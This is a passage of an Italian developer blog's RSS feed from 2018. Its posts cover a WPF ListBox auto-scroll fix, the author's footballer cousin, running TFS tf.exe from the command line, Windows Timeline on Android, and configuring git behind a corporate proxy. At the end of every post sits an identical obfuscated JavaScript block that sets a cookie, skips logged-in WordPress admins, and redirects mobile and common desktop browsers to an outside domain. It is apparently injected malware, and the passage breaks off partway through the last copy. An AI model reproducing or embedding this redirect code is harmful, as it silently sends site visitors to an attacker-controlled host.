					<comments>http://blog.vivendobyte.net/blog/archive/2018/11/19/evitare-lautoscroll-della-listbox-in-wpf.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 19 Nov 2018 09:22:46 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3185</guid>

					<description><![CDATA[La settimana scorsa ho notato un comportamento standard della ListBox di WPF, che ho sempre accettato in realtà senza rendermene conto, ma che nell&#8217;applicazione che stiamo sviluppando non andava troppo bene. In pratica, la ListBox compie uno scroll automatico quando viene selezionato un elemento parzialmente visibile, allo scopo di farlo vedere completamente all&#8217;utente. Guardate il [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>La settimana scorsa ho notato un comportamento standard della ListBox di WPF, che ho sempre accettato in realtà senza rendermene conto, ma che nell&#8217;applicazione che stiamo sviluppando non andava troppo bene. In pratica, la ListBox compie uno scroll automatico quando viene selezionato un elemento parzialmente visibile, allo scopo di farlo vedere completamente all&#8217;utente. Guardate il video qua sotto.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/ListBox1.gif"><img class="alignnone size-medium wp-image-3187" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/ListBox1-300x178.gif" alt="" width="300" height="178" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/ListBox1-300x178.gif 300w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/ListBox1-768x455.gif 768w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>All&#8217;inizio del video, per esempio, viene cliccato e selezionato il numero 6. Trattandosi di un elemento parzialmente renderizzato, e quindi parzialmente visibile, cosa succede? Che WPF fa scorrere la ListBox verso l&#8217;alto per fare in modo che l&#8217;utente possa vedere l&#8217;intero item. La stessa cosa accade poco dopo con il numero 4094, e dopo ancora con il 4125.</p>
<p><span style="color: #339966"><strong>Si può evitare questa cosa? Certo che sì.</strong></span></p>
<p>Si tratta di intercettare l&#8217;evento RequestBringToView, che la ListBox scatena proprio nei casi citati sopra. By default, allo scatenarsi di quell&#8217;evento (ed in realtà anche di altri, come il GotFocus) la ListBox chiama automaticamente il metodo BringToView(), proprio per portare in visibilità l&#8217;elemento selezionato. Il gioco sta nel bloccare questo comportamento predefinito, in questo modo.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;"><div>1<br />2<br />3<br />4<br />5<br />6<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">&amp;lt;ListBox.ItemContainerStyle&amp;gt;<br />
&amp;lt;Style TargetType=&quot;ListBoxItem&quot;&amp;gt;<br />
&amp;lt;EventSetter Event=&quot;RequestBringIntoView&quot;<br />
Handler=&quot;ListBoxItem_RequestBringIntoView&quot; /&amp;gt;<br />
&amp;lt;/Style&amp;gt;<br />
&amp;lt;/ListBox.ItemContainerStyle&amp;gt;</div></td></tr></tbody></table></div>
<p>In pratica grazie ad un piccolo snippet XAML si va ad intercettare l&#8217;evento&nbsp;RequestBringToView, facendo eseguire una riga di codice C# che va marcare l&#8217;evento come gestito, evitando il normale comportamento della ListBox.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">private void ListBoxItem_RequestBringIntoView<br />
(object sender, RequestBringIntoViewEventArgs e)<br />
{<br />
e.Handled = true;<br />
}</div></td></tr></tbody></table></div>
<p>Questa piccola implementazione vale per ListBox, ListView, GridView, etc. etc.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/11/19/evitare-lautoscroll-della-listbox-in-wpf.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Sandro Tonali, ovvero: scoprire il proprio talento per vivere meglio</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/11/14/sandro-tonali-ovvero-scoprire-il-proprio-talento-per-vivere-meglio.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sandro-tonali-ovvero-scoprire-il-proprio-talento-per-vivere-meglio</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/11/14/sandro-tonali-ovvero-scoprire-il-proprio-talento-per-vivere-meglio.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Wed, 14 Nov 2018 13:38:16 +0000</pubDate>
				<category><![CDATA[My personal life]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3177</guid>

					<description><![CDATA[Penso che una delle migliore cose che possano capitare ad una persona sia quella di scoprire, fin da piccoli, il proprio talento. Facendo qualche veloce ricerca sul web, si trovano diverse definizioni della parola &#8220;talento&#8221;. Qualche esempio: Capacità intellettuale non comune associata a genialità o estro vivace. Dote, specialmente in quanto propensione a qualcosa, capacità [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Penso che una delle migliore cose che possano capitare ad una persona sia quella di scoprire, fin da piccoli, il proprio talento. Facendo qualche veloce ricerca sul web, si trovano diverse definizioni della parola &#8220;talento&#8221;. Qualche esempio:</p>
<p><span style="color: #000080">Capacità intellettuale non comune associata a genialità o estro vivace.</span></p>
<p><span style="color: #0000ff">Dote, specialmente in quanto propensione a qualcosa, capacità in un&#8217;attività, in un settore.</span></p>
<p><span style="color: #3366ff">Ingegno, predisposizione, capacità e doti intellettuali rilevanti, specialmente in quanto naturali e intese a particolari attività.</span></p>
<p>Mentre, <a href="https://unaparolaalgiorno.it/significato/T/talento" target="_blank" rel="noopener noreferrer">tratto da questa pagina</a>, trovo&#8230;</p>
<p><span style="color: #ff6600"><em>Il talento è dote. Se ne è naturalmente provvisti, e se non c&#8217;è non si può imparare &#8211; inclinazione troppo più profonda di una capacità, troppo più radicata di una passione, troppo più caratterizzante di un volto o di una maniera, per poter essere riprodotta o finta. È un taglio del sé.</em></span></p>
<p>Aggiungo del mio: avere un talento per una certa attività non significa di per sé che la faresti sempre ad ogni ora del giorno e della notte, è&nbsp;<em>semplicemente</em> quella cosa che ti esce istintiva, con il minimo sforzo, mentre magari vedi gli altri che per raggiungere lo stesso obiettivo arrancano. Il talento si palesa con un&#8217;intuizione naturale che hai innata dentro, ma che comunque richiede studio &amp; dedizione costanti nel tempo per tutti i perfezionamenti del caso che faranno di te un professionista completo.</p>
<p><span style="color: #339966"><span style="color: #000000">Io penso di averlo nel mio lavoro, così come tanti altri ce l&#8217;hanno nel loro. </span><strong>E probabilmente anche mio cugino, Sandro Tonali, ce l&#8217;ha nel suo.</strong></span> Visto che quando era piccino giocava a calcio virtuale sulla Playstation, poi è cresciuto ed ha cominciato a giocare veramente a pallone, fino a raggiungere il calcio giocato, quello vero, nella serie B con il Brescia.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/sandro_tonali.png"><img class="alignnone size-medium wp-image-3179" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/sandro_tonali-300x230.png" alt="" width="300" height="230" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/sandro_tonali-300x230.png 300w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/sandro_tonali-768x588.png 768w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/sandro_tonali.png 776w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p><a href="https://www.spaziocalcio.it/approfondimento/schede-giocatori/i-migliori-talenti-del-calcio-mondiale-sandro-tonali/" target="_blank" rel="noopener noreferrer">Ed in questi giorni è stato convocato da Roberto Mancini con la nazionale maggiore</a>, per giocare un&#8217;amichevole contro gli Stati Uniti il 20 Novembre, accanto a gente come Chiellini, Bonucci, Verratti, Insigne, Immobile e via dicendo. Paura vera.</p>
<p>Mi capita sempre più spesso di vederlo in TV, intervistato o sul campo da gioco, e devo dire che sono proprio felice per lui. Perchè a 18 anni probabilmente ha già capito da un po&#8217; qual è il suo talento, e probabilmente è circondato dalle persone giuste capaci di farglielo fruttare come si deve. Bravo a lui, alla sua famiglia più vicina, e chiunque sta contribuendo al suo successo!</p>
<p>Buona fortuna, cugino!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/11/14/sandro-tonali-ovvero-scoprire-il-proprio-talento-per-vivere-meglio.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>&#8220;Get Latest Version&#8221; da command line: assicurarsi di usare il tf.exe corretto</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/11/09/get-latest-version-da-command-line-assicurarsi-di-usare-il-tf-exe-corretto.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=get-latest-version-da-command-line-assicurarsi-di-usare-il-tf-exe-corretto</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/11/09/get-latest-version-da-command-line-assicurarsi-di-usare-il-tf-exe-corretto.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Fri, 09 Nov 2018 08:31:02 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3169</guid>

					<description><![CDATA[Per voi che, lavorando seriamente, utilizzate TFS come source control, vi potrebbe tornare utile sapere che è possibile effettuare tutta una serie di operazioni dalla command-line, sia essa il classico command prompt del DOS, piuttosto che PowerShell. A quale scopo? Per automatizzarle, per esempio, perchè per certi versi è più comodo fare doppio click su [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Per voi che, lavorando seriamente, utilizzate TFS come source control, vi potrebbe tornare utile sapere che è possibile effettuare tutta una serie di operazioni dalla command-line, sia essa il classico command prompt del DOS, piuttosto che PowerShell. A quale scopo? Per automatizzarle, per esempio, perchè per certi versi è più comodo fare doppio click su uno script già bello pronto, piuttosto che aprire Visual Studio, raggiungere il Source Control Explorer, e poi cliccare dal menù contestuale la voce Get Latest Version (GLV).</p>
<p><a href="https://docs.microsoft.com/en-us/azure/devops/repos/tfvc/use-team-foundation-version-control-commands?view=vsts" target="_blank" rel="noopener">Vi rimando a questa pagina</a> per maggiori informazioni.</p>
<p>E&#8217; possibile fare davvero di tutto: gestire check-out e check-in, ottenere informazioni sul proprio workspace, gestire i branch, aggiungere/rimuovere nuovi file o cartelle, consultare i pending changes, e molto altro ancora.</p>
<p><strong>Quella che serviva a me, per velocizzarmi il lavoro, è quello di effettuare il GLV.</strong> Ci sono diverse sintassi per farlo; quella che utilizzo io è forse la più semplice:</p>
<pre>CD C:\TFS\NomeApp\NomeBranch
%ExeTf% get "$/Nomeapp/NomeBranch" /recursive</pre>
<p>E&#8217; possibile aggiungere il parametro &#8220;/preview&#8221; per simulare un GLV senza però sovrascrivere le cartelle ed i file del proprio workspace locale.</p>
<p>Sappiate che potreste incappare in un errore di esecuzione che tra le altre cose dice: &#8220;<span style="color: #ff0000">Unable to determine the workspace using TF.exe</span>&#8220;. E&#8217; segnalato in tantissime pagine sul web, <a href="https://stackoverflow.com/questions/4863865/unable-to-determine-the-workspace-using-tf-exe" target="_blank" rel="noopener">compresa questa su StackOverflow</a>. Troverete tantissime soluzioni; forse l&#8217;errore più comune e frequente è che TF.exe va eseguito da una cartella già mappata nei percorsi locali di TFS. Ecco il motivo per cui io nel mio script ho inserito un comando CD prima di eseguirlo. In più bisogna assicurarsi di usare i parametri giusti nello script che riportano username, password (oppure un utente di dominio), e così via.</p>
<p><strong>Nel mio caso la questione era ancora più subdola.</strong> <span style="color: #339966"><strong>Sul mio HD il file TF.exe è presente in più copie, forse una per ciascuna versione di Visual Studio installata.</strong></span></p>
<p>Il primo si trova qui: &#8220;C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\Common7\IDE\CommonExtensions\Microsoft\TeamFoundation\Team Explorer&#8221;. Un secondo invece si trova in &#8220;C:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE&#8221;.</p>
<p><span style="color: #339966"><strong>E&#8217; assolutamente necessario lanciare il TF.exe corretto, altrimenti continuerete a ricevere lo stesso errore.</strong></span></p>
<p>Se utilizzate Visual Studio 2017 Enterprise Edition, insomma, va lanciato il primo. Tornando allo script iniziale, ho banalmente valorizzato la variabile %ExeTf% come &#8220;C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\Common7\IDE\CommonExtensions\Microsoft\TeamFoundation\Team Explorer\tf.exe&#8221; ed il gioco è fatto.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/11/09/get-latest-version-da-command-line-assicurarsi-di-usare-il-tf-exe-corretto.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Godere della Windows Timeline sotto Android</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/11/05/godere-della-windows-timeline-sotto-android.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=godere-della-windows-timeline-sotto-android</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/11/05/godere-della-windows-timeline-sotto-android.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 05 Nov 2018 08:52:52 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3162</guid>

					<description><![CDATA[Una delle feature che mi capita di utilizzare con Windows 10 (non così spesso, ma quando ne ho bisogno diventa vitale) è la Timeline, ciò quella funzionalità che traccia e salva sul cloud (ebbene sì) le attività che fate su documenti e pagine web, in modo che se switchate da un PC all&#8217;altro&#8230;siete in grado di [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Una delle feature che mi capita di utilizzare con Windows 10 (non così spesso, ma quando ne ho bisogno diventa vitale) è la Timeline, ciò quella funzionalità che traccia e salva sul cloud (ebbene sì) le attività che fate su documenti e pagine web, in modo che se switchate da un PC all&#8217;altro&#8230;siete in grado di recuperare i link, le pagine visitate ed i documenti aperti da OneDrive. Quindi immaginatevi di aprire dal vostro account documenti Excel oppure Word, scansioni in PDF, immagini, qualsiasi file&#8230;Timeline se lo ricorda.</p>
<p>Maggiori informazioni <a href="https://www.cwi.it/sistemi-operativi/windows/timeline-windows-10-come-usare-112334" target="_blank" rel="noopener">sulla Windows Timeline le trovate qui</a>.</p>
<p><strong>Questa cosa funziona su tutti i PC Windows sui quali accedete con lo stesso Microsoft Account</strong>, ovviamente, ma non solo. Se avete un telefono Android ed installate il Microsoft Launcher, come ho fatto io, potete raggiungere la Timeline anche sotto Android.</p>
<p><img class="alignnone size-large" src="https://afr8eq.sn.files.1drv.com/y4mACC01JOBXZ-Ru1P911eiXx-kmjSVLNon9xfIhgSBgrJIjqsI9M-dKngZ4zdDpd51ukdpU0eQAsGHJLxIJk-oG48qRGGttVuPp_qkTpUpJ1vMsUNTojXawu8PxOIRm9Qjxpqa7shkJaayjCM0msUUL5teDdAqAmMz8ABQyFbR7cWMczjXdLc2Ai73bZG323duOjeWT9gReJKb_R6eO4zqiA?width=495&amp;height=660&amp;cropmode=none" width="495" height="660" /></p>
<p>Qui sopra potete vedere una schermata tratta dal mio smartphone personale, un Asus Zenfone 4 Max, su cui ho installato il Microsoft Launcher. Quelle che vedete qui sopra sono le ricerche del 27 ottobre scorso fatte con Edge, che uso come browser principale. Qui sopra non le vedete, ma la Timeline vi mostrerebbe anche voci relative a fogli Excel, il tutto raggruppato per giorni, ore, domini visitati, etc. etc.</p>
<p><a href="https://play.google.com/store/apps/details?id=com.microsoft.launcher&amp;hl=it" target="_blank" rel="noopener">L&#8217;app Microsoft Launcher pubblicata sul Play Store</a> aggiunge altre funzionalità al vostro telefono Android: la gestione degli sfondi, degli widget, delle pagine e delle gesture. Prevede anche un menù contestuale per ogni tile, così che possiate per esempio disinstallare le app in modo rapido e con un look&#8217;n&#8217;feel simile al caro Windows.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/11/05/godere-della-windows-timeline-sotto-android.aspx/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Utilizzare git dietro ad un proxy aziendale</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/10/26/utilizzare-git-dietro-ad-un-proxy-aziendale.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=utilizzare-git-dietro-ad-un-proxy-aziendale</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/10/26/utilizzare-git-dietro-ad-un-proxy-aziendale.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Fri, 26 Oct 2018 08:55:23 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3153</guid>

					<description><![CDATA[Quando siete all&#8217;interno di una LAN aziendale protetta da un proxy, potreste avere dei problemi ad utilizzare gli strumenti di Git sotto Windows. Mi riferisco in particolare a tre strumenti, quelli che utilizzo più spesso: il tool git dalla command line la &#8220;GitHub extension for Visual Studio&#8221; (con Visual Studio 2017) il tool &#8220;GitHub Desktop&#8221; [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Quando siete all&#8217;interno di una LAN aziendale protetta da un proxy, potreste avere dei problemi ad utilizzare gli strumenti di Git sotto Windows.<br />
Mi riferisco in particolare a tre strumenti, quelli che utilizzo più spesso:</p>
<ul>
<li>il tool <em>git</em> dalla command line</li>
<li>la &#8220;GitHub extension for Visual Studio&#8221; (con Visual Studio 2017)</li>
<li>il tool &#8220;GitHub Desktop&#8221; per Windows</li>
</ul>
<p>Senza indicare il proxy aziendale, tutti questi tool vi daranno errori di diverso tipo, probabilmente di timeout, perchè la connessione alla rete non è diretta ma passa appunto attraverso un proxy. Come si risolve un problema di questo tipo?</p>
<p><strong>1) Prima opzione: agendo manualmente sul file .gitconfig<br />
</strong>Aprite la cartella %USERPROFILE% da esplora risorse ed editate a mano il file .gitconfig.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/10/GitConfig.png"><img class="alignnone size-full wp-image-3155" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/10/GitConfig.png" alt="" width="534" height="263" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/10/GitConfig.png 534w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/10/GitConfig-300x148.png 300w" sizes="(max-width: 534px) 100vw, 534px" /></a></p>
<p>Basta andare in un qualsiasi punto del file ed aggiungere i due parametri:</p>
<pre>[http]
proxy = &lt;vostro_proxy&gt;
[https]
proxy = &lt;vostro_proxy&gt;</pre>
<p>E&#8217; decisamente la strada più rapida ed efficace se siete dev ed avete un Notepad++ pronto all&#8217;uso.</p>
<p><strong>2) Seconda opzione: utilizzando il command &#8220;git&#8221;<br />
</strong>Con il secondo modo otteniamo alla fine lo stesso risultato, ma andiamo però ad utilizzare direttamente il tool &#8220;git&#8221; dal classico command prompt oppure da Powershell.<br />
E&#8217; sufficiente eseguire questi due comandi:</p>
<pre>git config --global --add http.proxy &lt;vostro_proxy&gt;
git config --global --add https.proxy &lt;vostro_proxy&gt;</pre>
<p>Quello che otterrete alla fine è la modifica del file .gitconfig di cui parlavamo prima. Eventualmente potete fare un check della configurazione corrente con il comando:</p>
<pre>git config --list</pre>
<p><script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return 